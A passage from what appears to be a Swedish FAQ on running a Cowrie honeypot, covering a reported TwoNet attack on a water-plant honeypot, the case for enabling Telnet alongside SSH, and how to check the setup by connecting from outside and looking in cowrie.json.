Ja. Forescout dokumenterade i september 2025 hur en honeypot som simulerade ett vattenreningsverk blev måltavla för den rysslandsanknutna hacktivistgruppen TwoNet, ett av de första bekräftade fallen där en hacktivistgrupp offentligt tog på sig ansvar för ett angrepp mot en forskares honeypot.

Bör jag använda Telnet-honeypot eller räcker SSH?
Aktivera gärna båda om du har resurserna. IoT-riktade botnet i Mirai-familjen skannar historiskt sett mer aggressivt efter öppen Telnet än SSH, eftersom många kameror, routrar och NVR-enheter fortfarande exponerar Telnet med standardlösenord. Stänger du av Telnet missar du en stor och fortsatt aktiv angreppskategori.

Hur vet jag om min honeypot är korrekt konfigurerad?
Testa själv utifrån: anslut mot ditt publika IP på port 22 från en annan maskin eller mobil hotspot, kontrollera att du hamnar i det emulerade skalet och inte den riktiga servern, och verifiera sedan att anslutningen dyker upp i cowrie.json inom några sekunder. Om något av de här stegen inte fungerar, gå igenom felsökningsavsnittet ovan innan du publicerar sensorn permanent.